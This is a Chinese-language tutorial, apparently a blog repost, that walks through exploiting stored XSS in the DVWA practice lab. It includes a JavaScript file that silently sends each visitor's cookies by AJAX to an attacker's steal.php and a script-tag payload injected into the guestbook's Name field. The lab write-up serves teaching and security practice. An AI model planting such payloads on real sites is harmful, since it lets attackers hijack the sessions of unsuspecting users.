DVWA--XSS (Stored)

0x00 概述

存储型xss的不同之处在于,它可以将用户构造的有害输入直接存储起来,不需要攻击者构造链接诱使受害人点击触发,而是目标网站的用户只要访问插入恶意代码的网站就能触发,相比较反射型xss更为隐蔽,危害更大,受害者也会更多。

  • 本文仍将利用存储型XSS来获取cookie。
  • 观察存储型XSS的PHP源代码可知,其各个级别的过滤策略与反射型类似,Payload也类似,这里不再赘述。与前面的反射型XSS有如下两点不同的是:

0x01 实现机制

攻击者将恶意代码输入留言板提交之后,上传到服务器端存储起来,以后每一个浏览该页面的用户都会受到攻击。以获取cookie为例,每个访问该页面的用户都会将自己的cookie发送到攻击者的数据库。
在这里插入图片描述

0x02 JS脚本

之前的cookie.js的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php,但是这种方式有个缺点就是将cookie发送到steal.php后他会刷新页面跳转到steal.php,这样的做法难免会引起用户的怀疑.
我们需要用一种更为隐蔽的方式,这里我们用ajax技术,一种异步的javascript,在不刷新页面的前提下神不知鬼不觉的将用户的cookie发送到steal.php。我们新建cookie_ajax.js:

var url = "http://192.168.124.2/DVWA_XSS/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
    ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
    ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
    ajax=null;
}
ajax.open("POST", url, true);//true代表异步
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);

上面编写的代码创建了一个ajax对象,构造了一个post请求将用户的cookie作为参数发送到了http://192.168.124.2/DVWA_XSS/steal.php,phpsteal.php将我们获取到的cookie存到数据库中。
以Low级别的存储型XSS为例,构造如下Payload:

Name:<script src="http://192.168.124.2/DVWA_XSS/cookie_ajax.js"></script>
Message:send cookie use ajax

Name的输入限制长度为10,用Firebug将最大长度改为600:
在这里插入图片描述
输入Payload,,点击Sign Guestbook提交:
在这里插入图片描述
这样,恶意代码就被植入到了留言板页面当中,每当有用户访问留言板页面时,cookie_ajax.js都会执行,将用户的cookie通过steal.php存储到攻击者的数据库。重新访问该页面,发现每访问一次,主机A的数据库中就会增加一条cookie。

发布了38 篇原创文章 · 获赞 18 · 访问量 6094

猜你喜欢

转载自blog.csdn.net/Sc0fie1d/article/details/100636203